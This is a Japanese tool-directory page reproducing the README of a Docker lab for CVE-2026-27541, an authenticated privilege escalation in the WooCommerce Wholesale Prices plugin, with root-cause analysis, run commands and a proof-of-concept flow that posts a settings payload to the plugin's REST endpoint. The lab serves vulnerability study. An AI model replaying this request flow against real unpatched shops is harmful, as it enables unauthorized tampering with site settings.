Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-27541-Analysis-Lab — # CVE-2026-27541 再現用Dockerラボ WooCommerce Wholesale Pricesにおける認証済み権限昇格(CVE-2026-27541)を再現するためのDockerラボです。脆弱性のあるビルドとパッチ適用済みビルドを比較し、PoCスクリプトと根本原因分析を含みます。 | Kitploit
ツール/GitHubGitHub/rootdirective-sec/cve-2026-27541-analysis-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践
GitHubrootdirective-sec/cve-2026-27541-analysis-lab

CVE-2026-27541-Analysis-Lab

# CVE-2026-27541 再現用Dockerラボ WooCommerce Wholesale Pricesにおける認証済み権限昇格(CVE-2026-27541)を再現するためのDockerラボです。脆弱性のあるビルドとパッチ適用済みビルドを比較し、PoCスクリプトと根本原因分析を含みます。

リポジトリを見る
5ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27541 — WooCommerce Wholesale Prices 認証済み権限昇格ラボ

vulnx

概要

このプロジェクトは、WooCommerce Wholesale Prices / Wholesale Suite プラグインにおける CVE-2026-27541 の挙動を、脆弱なビルドとパッチ適用済みビルドを同一マシン上で並行して比較しながら分析・再現するためのローカル Docker ラボです。

中核となる問題は、以下の REST API エンドポイントにおけるアクセス制御の欠陥 (Broken Access Control) です:

root@kitploit:~
/wp-json/wwp/v1/admin/save

このラボで使用するソースコードに基づくと、このルートには脆弱なビルドとパッチ適用済みビルドの両方で既に permission_callback が存在します。しかし、影響を受けるバージョンでは、管理者設定の書き込みアクションに対して権限チェックが広すぎます:

  • 脆弱 (2.2.6) → current_user_can( 'manage_woocommerce' )
  • パッチ適用済み (2.2.7) → current_user_can( 'manage_options' )

このラボでは、shop_manager ロールを持つユーザー shopmgr は manage_woocommerce=true ですが manage_options は持っていません。その結果、この低権限ユーザーは、有効なログインセッションと有効な X-WP-Nonce を使用して、脆弱なビルドでは管理者設定保存エンドポイントを呼び出すことができますが、パッチ適用済みビルドでは同じリクエストに対して 403 rest_forbidden が返されます。


このラボが証明すること

  • 脆弱なノード (2.2.6): ユーザー shopmgr は POST /wp-json/wwp/v1/admin/save を正常に呼び出し、プラグイン設定を変更できます。
  • パッチ適用済みノード (2.2.7): shopmgr からの同じリクエストは 403 で拒否されます。
  • 未認証リクエスト: エンドポイントが認証なしで直接呼び出された場合、両方のビルドが 403 を返します。これは、これが認証後の権限昇格の問題であることと整合的です。
  • 永続性の証明: PoC 実行が成功した後、脆弱なビルドは WordPress オプション wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC を保存しますが、パッチ適用済みビルドは引き続き See wholesale prices を返します。

ラボ構成

サービス

  • vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6
  • patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7
  • db-vuln / db-patched → 個別の MariaDB データベース
  • seed-vuln / seed-patched → WordPress のインストール、プラグインのインストール、ユーザーの作成、テスト用商品の作成を行う wp-cli シードジョブ

公開ポート

  • http://localhost:8081 → 脆弱
  • http://localhost:8082 → パッチ適用済み

ベースイメージ

  • WordPress: wordpress:6.8.1-php8.2-apache
  • MariaDB: mariadb:11.4.5
  • シーダー: wordpress:cli-php8.2

リポジトリ構成

root@kitploit:~
.
├── docker-compose.yml
├── README.md
├── patched/
│   └── Dockerfile
├── vuln/
│   └── Dockerfile
├── scripts/
│   └── seed-wp.sh
└── poc.py

重要なファイル

  • docker-compose.yml — 個別のデータベースを持つ脆弱なスタックとパッチ適用済みスタックを定義
  • scripts/seed-wp.sh — WordPress、WooCommerce、対象プラグインをインストールし、テストユーザーと商品データを作成
  • poc.py — ログイン、nonce 抽出、REST エンドポイント呼び出しのための最小被害の PoC

シード環境

スタックの準備が完了すると、シードスクリプトは以下を作成します:

ユーザー

  • admin / AdminPass!234
  • shopmgr / ShopMgrPass!234

商品

  • スラッグ: lab-product
  • 通常価格: 100
  • 卸売価格: 50

バージョン

  • WooCommerce: 10.6.0

  • WooCommerce Wholesale Prices:

    • 脆弱: 2.2.6
    • パッチ適用済み: 2.2.7

スクリプトはまた、シードされたデータとバージョン情報を検証できるように、各 WordPress コンテナに lab-secrets.json を書き込みます。


PoC が最小被害である理由

この PoC は、サイトの乗っ取り、ロールの変更、プラグインのインストール、シェルの実行を試みません。

以下のことのみを行います:

  1. shopmgr としてログイン
  2. 関連する管理ページにアクセスして wpApiSettings.nonce を抽出
  3. 対象エンドポイントにリクエストを送信
  4. 簡単に観察できる設定値を変更:
root@kitploit:~
wwp_see_wholesale_prices_replacement_text = PWNED_BY_POC

この設定は、低権限ユーザーが管理者専用の設定を変更できることを実証するための観察可能なマーカーとして使用されます。


脆弱性の概要

影響を受けるコンポーネント

  • プラグイン: WooCommerce Wholesale Prices / Wholesale Suite
  • ルート: POST /wp-json/wwp/v1/admin/save

脆弱性の分類

  • アクセス制御の欠陥 (Broken Access Control)
  • 認証済み権限昇格 (Authenticated Privilege Escalation)

実際的な意味

エンドポイントが有効なセッションと nonce を必要とするにもかかわらず、脆弱なバージョンでは、shop_manager ロールを持つ shopmgr のような低権限ユーザーが、管理者専用であるべきエンドポイントを呼び出すことができます。

重要な注意点

これは未認証の脆弱性ではありません。

エンドポイントがログインセッションなしで直接呼び出された場合、脆弱なビルドとパッチ適用済みビルドの両方がリクエストを拒否します。このバグは認証後の認可に存在し、認証自体には存在しません。


根本原因の分析

脆弱なバージョンは permission_callback が欠落しているわけではありません。欠陥は、管理者側の設定を書き込む REST アクションに対して、広すぎる権限チェック (manage_woocommerce) を使用していることです。

includes/class-wwp-admin-settings.php のソースコードから:

  • 脆弱なビルドとパッチ適用済みビルドの両方が同じルートを登録: POST /wp-json/wwp/v1/admin/save
  • 両方のビルドが save_registered_settings() にルーティング
  • 両方のビルドが permission_admin_check() を permission_callback として使用
  • 実際の違いはチェックされる権限です

脆弱 (2.2.6)

root@kitploit:~
if ( ! current_user_can( 'manage_woocommerce' ) ) {
    return new WP_Error( 'rest_forbidden', ... );
}

パッチ適用済み (2.2.7)

root@kitploit:~
if ( ! current_user_can( 'manage_options' ) ) {
    return new WP_Error( 'rest_forbidden', ... );
}

このラボでは、shop_manager ロールを持つユーザー shopmgr は manage_woocommerce=true ですが manage_options は持っていないため、脆弱なチェックは通過しますが、パッチ適用済みのチェックは失敗します。

パッチ適用済みの挙動で変更された点

パッチ適用済みバージョンは、レスポンスを 200 から 403 に変更するだけではありません。権限要件を manage_woocommerce から manage_options に厳格化することで、アクセス制御ロジックを変更しています。

さらに、パッチ適用済みビルドの保存パスは、プレフィックスベースのフィルタリングから明示的な許可リストとより強力なサニタイズへの移行により、さらに強化されています。

PoC が脆弱なビルドで成功する理由

PoC は実際のブラウザコンテキストと同じフローに従います:

  • shopmgr としてログイン
  • プラグイン設定ページを開く
  • wpApiSettings.nonce を抽出
  • POST /wp-json/wwp/v1/admin/save を呼び出す

脆弱なビルドは manage_woocommerce を持つユーザーがこの設定書き込みアクションを呼び出すことを許可するため、リクエストは成功し、永続的なオプション変更が発生します。

セキュリティ上の教訓

nonce は CSRF からの保護に役立ちますが、認可制御ではありません。

有効なセッションと有効な nonce を持っていることは、ユーザーが管理者アクションを実行できることを意味しません。特権エンドポイントで過度に広い権限を使用することは、低権限の認可バイパスを生み出すのに十分です。


ラボの再現

前提条件

  • Docker Desktop / Docker Engine
  • Docker Compose v2
  • Python 3
  • 初期イメージとプラグインのダウンロードのためのインターネットアクセス

1) ラボを起動

root@kitploit:~
docker compose up -d --build

2) コンテナが起動していることを確認

root@kitploit:~
docker compose ps

少なくとも以下が表示されるはずです:

  • cve-2026-27541-vuln-1
  • cve-2026-27541-patched-1
  • cve-2026-27541-db-vuln-1
  • cve-2026-27541-db-patched-1

3) シーディングログを監視

root@kitploit:~
docker compose logs -f seed-vuln seed-patched

4) シードされたメタデータを確認

root@kitploit:~
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json

PoC のウォークスルー

poc.py は以下のように動作します:

  1. GET /wp-login.php

  2. POST /wp-login.php で認証済みセッションを確立

  3. プラグイン管理ページを開く:

    root@kitploit:~
    /wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
    
  4. HTML/JavaScript から wpApiSettings.nonce と REST ルートを抽出

  5. リクエストを送信:

    root@kitploit:~
    /wp-json/wwp/v1/admin/save
    
  6. ペイロードを送信:

root@kitploit:~
[
  {
    "key": "wwp_see_wholesale_prices_replacement_text",
    "value": "PWNED_BY_POC"
  }
]

PoC の実行

脆弱なノード

root@kitploit:~
python3 poc.py \
  --base-url http://localhost:8081 \
  --username shopmgr \
  --password 'ShopMgrPass!234'

パッチ適用済みノード

root@kitploit:~
python3 poc.py \
  --base-url http://localhost:8082 \
  --username shopmgr \
  --password 'ShopMgrPass!234'

期待される結果

脆弱 (8081)

期待される出力:

root@kitploit:~
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
    - Open product page
    - Look for: PWNED_BY_POC

パッチ適用済み (8082)

期待される出力:

root@kitploit:~
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed

手動検証

UI 検証

脆弱なノードで PoC が成功した後:

  1. ログアウトするか、シークレットウィンドウを開く
  2. 置換テキストを表示する商品ページまたはストアフロントページを開く
  3. 以下を探す:
root@kitploit:~
PWNED_BY_POC

セキュリティへの影響

このバグクラスの実際的な影響は、低権限ユーザーが管理者専用であるべき設定を変更できることであり、直接的に以下につながる可能性があります:

  • コンテンツの改ざん
  • フロントエンドメッセージの操作
  • ビジネスロジックの悪用

このラボでは、脆弱性の状態を証明するために必要な範囲を超えたロール変更や昇格を避けるため、意図的に安全で観察可能なペイロードを使用しています。


クリーンアップ

root@kitploit:~
docker compose down -v

安全上の注意

  • ローカルラボ専用
  • すべてのサービスは localhost のみにバインド
  • PoC は意図的に最小被害であり、無害な観察可能な値を使用
  • 所有していない、またはテスト許可がないシステムに対してこの PoC を適用しないでください

参考情報

  • CVE レコード — CVE-2026-27541
  • Wordfence — Wholesale Suite <= 2.2.6 - Authenticated (Shop Manager) Privilege Escalation
  • WordPress.org プラグインページ — Wholesale Suite – B2B, Dynamic Pricing & WooCommerce Wholesale Prices

TL;DR

このラボは、CVE-2026-27541 がプラグインの REST API 設定エンドポイントにおける認証済み低権限の認可バイパスであることを示しています。バージョン 2.2.6 の欠陥は、権限チェックの欠如ではなく、manage_options レベルで制限されるべきアクションに対して過度に広い権限 (manage_woocommerce) を使用していることです。

このローカル環境では:

  • shopmgr は脆弱なチェックを通過し、POST /wp-json/wwp/v1/admin/save を通じて管理者側の設定を正常に変更できます
  • 同じリクエストは 2.2.7 ではブロックされます
  • 脆弱なビルドは対象オプションに PWNED_BY_POC を永続化しますが、パッチ適用済みビルドはしません

その結果、このリポジトリは、完全に制御されたローカル環境における脆弱なビルドとパッチ適用済みビルドの違いの、行動的証明およびコードに基づく証明の両方として機能します。

ツールをダウンロード